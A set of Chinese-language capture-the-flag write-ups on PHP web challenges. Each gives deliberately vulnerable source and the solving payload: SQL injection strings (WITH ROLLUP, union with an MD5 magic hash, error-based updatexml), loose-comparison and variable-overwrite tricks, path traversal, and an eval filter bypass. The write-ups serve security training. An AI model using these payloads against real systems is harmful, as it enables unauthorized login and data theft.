一道过滤齐全的sql注入
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
首先uname pwd不为空。然后这里最关键的语句
if($key['pwd'] == $_POST['pwd'])
找了找资料 发现这里利用了with rollup技巧 我们这么执行就加了一行pass进pwd为空的,因为过滤了逗号不能用limit(1,1),但可以用limit 1 offset 1 这里注意一点是rollup是在查询结果最后加上一行,所以我们要fuzz一下 这题最后的payload:
uname=' or 1=1 group by pwd with rollup limit 1 offset2 #&pwd=
简单的弱类型 (真.简单)
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
sha1加密后 和md5加密后是一样的 只能加密字符串 不能加密数组 会返回NULL NULL===NULL
?name[]=1&password[]=2
一道需要代码审计的sql注入
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
这题看到的时候,觉得特别奇怪,因为他调用sql接口调用的是查询user 而password是后来md5加密然后进行比对的。
所以我们现在用户名处添加语句
' union select "0e830400451993494058024219903391"
闭合掉前面的' 查询一个md5
语句如下
select pw from php where user=' ' union select "0e830400451993494058024219903391"
然后密码的值明文是这个QNKCDZO
所以构造payload:user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO
套娃变量
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
这里面主要就是$$这种变量成为套娃变量 直接echo flag直接会被修改,所以我们可以用$_403和$_200来利用
/index.php?_200=flag
POST:
flag=1
不一样的sql注入
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
$row = mysql_fetch_assoc($result);
echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";
主要是这个东西htmlentities($str, ENT_QUOTES) 我们无法用单引号来闭合单引号,后来查了下资料 发现可以用 并且htmlentities是不管的
payload:
?username=admin\&password=or 1=1%23
三个白帽的一道sql注入
<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
function filter($str){
$rstr = "";
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);
return $rstr;
}
if(!empty($message)){
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
if(filter($message) !== $message){
die("hello,sangebaimao!");
}
$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];
echo "|$id|=>|$message|<br/>";
}
}
$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";
if(!mysql_query($sql)){
print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}
?>
首先发现过滤了很多东西 然后又addlashes 我们想要闭合语句就要想到怎么bypass单引号,师傅给出了一个思路stripcslashes 他会吃掉'的 思路是x27 这题主要思路是过那一堆 select update常见的都被ban了,这里面有个思路
/!00000select/ 在别的数据库里面只是注释 而在Mysql里可以执行 前面的五个数字代表只有大于这个版本才不当注释使用
因为有一句print(mysql_error());,所以可以报错注入了
?message=aaax27 and updatexml(0,concat(0x27,(/!00000select version()/)),0)%23
大佬的解答:这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select
version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log,
因此得到了你想要得到的数据
update下的子注入
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
代码能看懂 没逃逸思路,直接附链接学习一波
弱类型读取文件
<?php
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("php/$filename");
?>
if(stripos($filename, 'file_list') 这里如果file_list在第一个位置就会返回
0,因为php的弱类型比较 0==false
所以执行下面的,现在的目标是读取上层目录的file_list.php
主要函数是stripos的函数的查找功能
构造Payload:?f=file_list../../file_list.php
将file_list当成是文件夹然后返回上级目录的file_list.php进行读取
变量覆盖漏洞
<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {
$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();
GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) {
$$k = $v;
}
# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
$uname = mysql_real_escape_string($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
$db = gdo_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}
if (isset($login))
{
echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back',array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
} else {?>
<form action="globals.php" method="post">
<table>
<tr>
<td><?php echo $chall->lang('th_username'); ?>:</td> <td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td><?php echo $chall->lang('th_password'); ?>:</td>
<td><input type="password" name="password" value="" /></td></tr>
<tr>
<td></td>
<td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
</tr></table>
</form>
<?php
}
# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }
require_once 'challenge/html_foot.php';
?>
核心代码
foreach ($_GET as $k => $v) {
$$k = $v;
}
$$k是可变变量
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
要使strtolower($login[0]) === 'admin',可以通过GET传入login[0]=admin。通过上面的代码将会执行
$login[0]=admin;
成功绕过验证
heredoc的应用
<?php
// closure, because of namespace!
$challenge = function()
{
$f = Common::getGetString('eval'); $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!'); }
try
{
eval("\$spaceone = $f"); }
catch (Exception $e)
{
return false;
}
return ($spaceone === '1337');
};
?>
看一眼这题的逻辑通过eval获取字符串,但是将常见的" '全部过滤掉了
字符串长度要小于13 不能包含return
我们的目标是return true 强类型比较要求一定是字符串型的1337
这里就要科普一个神奇的小东西 heredoc
然后要注意字符串长度小于13 然后我们想象的东西是这样子的
$f = <<<q
1337
q;
构造payload:
eval=<<<q%0a1337%0aq;%0a
进制问题
<?php
$flag = "xxx";
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
?>
代码的意思是要post传参 然后这里面的内容不能是1-9
用到的还是 ==的弱类型比较
我们的思路是16进制 然后会出现0x这种 ==通过成功 get flag
数字的16进制是0xdeadc0de,正好过掉1-9这个限制
最终payload:answer=0xdeadc0de